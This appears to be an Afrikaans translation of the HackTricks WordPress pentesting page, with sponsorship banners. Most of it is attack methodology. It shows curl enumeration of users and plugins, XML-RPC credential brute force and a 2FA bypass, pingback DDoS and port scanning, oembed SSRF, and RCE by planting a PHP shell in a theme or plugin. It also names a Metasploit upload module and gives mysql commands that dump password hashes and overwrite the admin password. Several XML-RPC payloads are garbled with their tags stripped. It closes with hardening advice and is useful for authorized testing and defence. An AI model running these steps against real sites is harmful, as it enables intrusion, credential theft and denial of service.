# Wordpress
Leer AWS-hacking vanaf nul tot held methtARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** đŹ [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wĂȘreld se **mees gevorderde** gemeenskapshulpmiddels.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Basiese Inligting
**Opgelaaide** lĂȘers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`\
**TemalĂȘers kan gevind word in /wp-content/themes/,** so as jy 'n bietjie php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur die **twintigtwintig-tema** te gebruik, kan jy die **404.php**-lĂȘer **toegang** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)\
**'n Ander nuttige URL kan wees:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
In **wp-config.php** kan jy die hoofwagwoord van die databasis vind.
Verkieslike aanmeldingspaaie om te kontroleer: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **Hoof WordPress LĂȘers**
* `index.php`
* `license.txt` bevat nuttige inligting soos die weergawe van WordPress wat geĂŻnstalleer is.
* `wp-activate.php` word gebruik vir die e-posaktiveringsproses wanneer 'n nuwe WordPress-webwerf opgestel word.
* Aanmeldingsgids (kan hernoem word om dit te verberg):
* `/wp-admin/login.php`
* `/wp-admin/wp-login.php`
* `/login.php`
* `/wp-login.php`
* `xmlrpc.php` is 'n lĂȘer wat 'n kenmerk van WordPress verteenwoordig wat data moontlik maak om oorgedra te word met HTTP wat as die vervoermeganisme optree en XML as die enkoderingsmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
* Die `wp-content`-map is die hoofgids waar plugins en temas gestoor word.
* `wp-content/uploads/` Is die gids waar enige lĂȘers wat na die platform gelaai is, gestoor word.
* `wp-includes/` Dit is die gids waar kernlĂȘers gestoor word, soos sertifikate, lettertipes, JavaScript-lĂȘers, en widgets.
* `wp-sitemap.xml` In Wordpress-weergawes 5.5 en hoĂ«r, genereer Wordpress 'n sitemap-XML-lĂȘer met alle openbare plasings en openbaar navraagbare plasingstipes en taksonomieĂ«.
**Na-uitbuiting**
* Die `wp-config.php`-lĂȘer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasisgasheer, gebruikersnaam en wagwoord, outentiseringsleutels en soute, en die databasistabelvoorvoegsel. Hierdie konfigurasie-lĂȘer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees vir foutopsporing.
### Gebruikersregte
* **Administrateur**
* **Redakteur**: Publiseer en bestuur sy eie en ander se plasings
* **Outeur**: Publiseer en bestuur sy eie plasings
* **Bydraer**: Skryf en bestuur sy plasings, maar kan dit nie publiseer nie
* **Intekenaar**: Blaai deur plasings en wysig hul profiel
## **Passiewe Opsomming**
### **Kry WordPress-weergawe**
Kyk of jy die lĂȘers `/license.txt` of `/readme.html` kan vind
Binne die **bronkode** van die bladsy (voorbeeld van [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
* grep
```bash
curl https://victim.com/ | grep 'content="WordPress'
```
* `meta naam`
![](<../../.gitbook/assets/image (1111).png>)
* CSS skakel lĂȘers
![](<../../.gitbook/assets/image (533).png>)
* JavaScript lĂȘers
![](<../../.gitbook/assets/image (524).png>)
### Kry Inproppe
{% code overflow="wrap" %}
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Kry Temas
{% endcode %}
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Haal weergawes in die algemeen uit
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
{% endcode %}
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wĂȘreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Aktiewe opname
### Invoegtoepassings en Temas
Jy sal waarskynlik nie in staat wees om al die Invoegtoepassings en Temas te vind nie. Om almal te ontdek, sal jy nodig hĂȘ om **aktief 'n lys van Invoegtoepassings en Temas te Brute Force** (hopelik vir ons is daar outomatiese gereedskap wat hierdie lyste bevat).
### Gebruikers
**ID Brute**
Jy kan geldige gebruikers van 'n WordPress-webwerf kry deur gebruikers-ID's te Brute Force:
```
curl -s -I -X GET http://blog.example.com/?author=1
```
Indien die antwoorde **200** of **30X** is, beteken dit dat die id **geldig** is. Indien die antwoord **400** is, dan is die id **ongeldig**.
**wp-json**
Jy kan ook probeer om inligting oor die gebruikers te kry deur navrae te doen:
```
curl http://blog.example.com/wp-json/wp/v2/users
```
'n Ander `/wp-json/` eindpunt wat 'n bietjie inligting oor gebruikers kan onthul is:'
```
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Merk op dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos geplaas het. **Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word**.
Merk ook op dat **/wp-json/wp/v2/pages** IP-adresse kan laat uitlek.
#### Login gebruikersnaam enumerasie
Wanneer jy inlog by **`/wp-login.php`** is die **boodskap** **verskillend** as die aangeduide **gebruikersnaam bestaan of nie**.
### XML-RPC
As `xml-rpc.php` aktief is, kan jy 'n geloofsbriek-kragaanval uitvoer of dit gebruik om DoS-aanvalle op ander bronne te lanceer. (Jy kan hierdie proses outomatiseer[ deur hierdie te gebruik](https://github.com/relarizky/wpxploit) byvoorbeeld).
Om te sien of dit aktief is, probeer om toegang te verkry tot _**/xmlrpc.php**_ en stuur hierdie versoek:
**Check**
```markup
system.listMethods
```
![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656)
**Verifikasie van Gelde**
**`wp.getUserBlogs`**, **`wp.getCategories`** of **`metaWeblog.getUsersBlogs`** is van die metodes wat gebruik kan word om gelde te verifieer. As jy enige van hulle kan vind, kan jy iets soos die volgende stuur:
```markup
wp.getUsersBlogsadminpass
```
Die boodskap _"Verkeerde gebruikersnaam of wagwoord"_ binne 'n 200-kode respons behoort te verskyn as die geloofsbriewe nie geldig is nie.
![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../.gitbook/assets/image (721).png>)
Met die regte geloofsbriewe kan jy 'n lĂȘer oplaai. In die respons sal die pad verskyn ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
wp.uploadFile1usernamepasswordnamefilename.jpgtypemime/typebits
```
Ook is daar 'n **vinniger manier** om wagwoordkredensiale met behulp van **`system.multicall`** te kragtig, aangesien jy verskeie kredensiale op dieselfde versoek kan probeer:
**Bypass 2FA**
Hierdie metode is bedoel vir programme en nie vir mense nie, en oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige kredensiale het maar die hoofingang deur 2FA beskerm word, **kan jy dalk xmlrpc.php misbruik om met daardie kredensiale in te teken en 2FA te omseil**. Let daarop dat jy nie al die aksies kan uitvoer wat jy deur die konsole kan doen nie, maar jy kan dalk steeds tot RCE kom soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s)
**DDoS of poort aftasting**
As jy die metode _**pingback.ping**_ binne die lys kan vind, kan jy die Wordpress 'n willekeurige versoek stuur na enige gas/hefboom.\
Dit kan gebruik word om **duisende** Wordpress **webwerwe** te vra om **toegang** tot een **plek** (sodat 'n **DDoS** in daardie plek veroorsaak word) of jy kan dit gebruik om **Wordpress** te laat **aftas** van 'n interne **netwerk** (jy kan enige poort aandui).
```markup
pingback.pinghttp://:http://
```
![](../../.gitbook/assets/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
As jy **faultCode** met 'n waarde **groter** as **0** (17) kry, beteken dit dat die poort oop is.
Neem 'n kyk na die gebruik van **`system.multicall`** in die vorige afdeling om te leer hoe om hierdie metode te misbruik om 'n DDoS te veroorsaak.
**DDoS**
```markup
pingback.pinghttp://target/http://yoursite.com/and_some_valid_blog_post_url
```
![](<../../.gitbook/assets/image (110).png>)
### wp-cron.php DoS
Hierdie lĂȘer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: **`/wp-cron.php`**\
Wanneer hierdie lĂȘer **toegang** kry, word 'n "**swaar**" MySQL **navraag** uitgevoer, wat deur **aanvallers** gebruik kan word om 'n **DoS** te **veroor**.\
Ook, standaard, word die `wp-cron.php` elke keer geroep wanneer 'n kliënt enige Wordpress-bladsy aanvra, wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).
Dit word aanbeveel om Wp-Cron uit te skakel en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).
### /wp-json/oembed/1.0/proxy - SSRF
Probeer om _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ te benader en die Worpress-webwerf kan 'n versoek aan jou rig.
Dit is die reaksie wanneer dit nie werk nie:
![](<../../.gitbook/assets/image (365).png>)
### SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Hierdie instrument toets of die **methodName: pingback.ping** en vir die pad **/wp-json/oembed/1.0/proxy** bestaan, en as dit wel bestaan, probeer dit om hulle uit te buit.
### Outomatiese Gereedskap
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik en **outomatiseer werkafloeie** te bou wat aangedryf word deur die wĂȘreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
## Kry toegang deur 'n bietjie te oorskryf
Meer as 'n werklike aanval is dit 'n nuuskierigheid. In die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lĂȘer omkeer. So kon jy die posisie `5389` van die lĂȘer `/var/www/html/wp-includes/user.php` omkeer om die NOT (`!`) operasie te NOP.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Paneel RCE**
**Wysig 'n php van die gebruikte tema (admin-inligting nodig)**
Verskyning â Tema-redakteur â 404-sjabloon (aan die regterkant)
Verander die inhoud vir 'n php dop:
![](<../../.gitbook/assets/image (384).png>)
Soek op die internet hoe jy daardie opgedateerde bladsy kan bereik. In hierdie geval moet jy hierdie adres besoek: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
Jy kan gebruik:
```
use exploit/unix/webapp/wp_admin_shell_upload
```
## Inprop RCE
### PHP inprop
Dit mag moontlik wees om .php lĂȘers as 'n inprop te laai.\
Skep jou php agterdeur deur byvoorbeeld te gebruik:
![](<../../.gitbook/assets/image (183).png>)
Voeg dan 'n nuwe inprop by:
![](<../../.gitbook/assets/image (722).png>)
Laai die inprop op en druk op Installeer Nou:
![](<../../.gitbook/assets/image (249).png>)
Klik op Gaan voort:
![](<../../.gitbook/assets/image (70).png>)
Dit sal waarskynlik niks skynbaar doen nie, maar as jy na Media gaan, sal jy sien dat jou dop geĂŒpload is:
![](<../../.gitbook/assets/image (462).png>)
Kry toegang daartoe en jy sal die URL sien om die omgekeerde dop uit te voer:
![](<../../.gitbook/assets/image (1006).png>)
### Oplaai en aktivering van skadelike inprop
Hierdie metode behels die installasie van 'n skadelike inprop wat bekend is as kwesbaar en wat uitgebuit kan word om 'n web dop te verkry. Hierdie proses word uitgevoer deur die WordPress dashboard soos volg:
1. **Inprop Verkryging**: Die inprop word verkry van 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374).
2. **Inprop Installasie**:
* Navigeer na die WordPress dashboard, gaan dan na `Dashboard > Inproppe > Laai Inprop op`.
* Laai die zip-lĂȘer van die afgelaaide inprop op.
3. **Inprop Aktivering**: Sodra die inprop suksesvol geĂŻnstalleer is, moet dit deur die dashboard geaktiveer word.
4. **Uitbuiting**:
* Met die inprop "reflex-gallery" geĂŻnstalleer en geaktiveer, kan dit uitgebuit word aangesien dit bekend is as kwesbaar.
* Die Metasploit-raamwerk bied 'n uitbuit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke bevele uit te voer, kan 'n meterpreter-sessie tot stand gebring word, wat ongemagtigde toegang tot die webwerf verleen.
* Dit word opgemerk dat hierdie net een van die baie metodes is om 'n WordPress-webwerf uit te buit.
Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard uitbeeld vir die installering en aktivering van die inprop. Dit is egter belangrik om daarop te let dat dit onwettig en oneties is om kwesbaarhede op hierdie manier uit te buit sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs binne 'n wettige konteks, soos deurdringende toetsing met uitdruklike toestemming.
**Vir meer gedetailleerde stappe kyk na:** [**https://www.hackingarticles.in/wordpress-reverse-shell/\*\***](https://www.hackingarticles.in/wordpress-reverse-shell/)
## Na-uitbuiting
Haal gebruikersname en wagwoorde uit:
```bash
mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Verander administrateur wagwoord:
```bash
mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## WordPress Beskerming
### Gereelde Opdaterings
Maak seker WordPress, plugins, en themes is op datum. Bevestig ook dat outomatiese opdatering ingeskakel is in wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Ook, **installeer slegs vertroude WordPress-inproppe en -temas**.
### Sekuriteitsinproppe
* [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
* [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
* [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Ander Aanbevelings**
* Verwyder verstek **admin** gebruiker
* Gebruik **sterk wagwoorde** en **2FA**
* Deurlopend **hersien** gebruikers **regte**
* **Beperk aanmeldingspogings** om Brute Force aanvalle te voorkom
* Hernoem **`wp-admin.php`** lĂȘer en staan slegs toegang intern of vanaf sekere IP-adresse toe.
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wĂȘreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}
Leer AWS hak vanaf nul tot held methtARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** đŹ [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.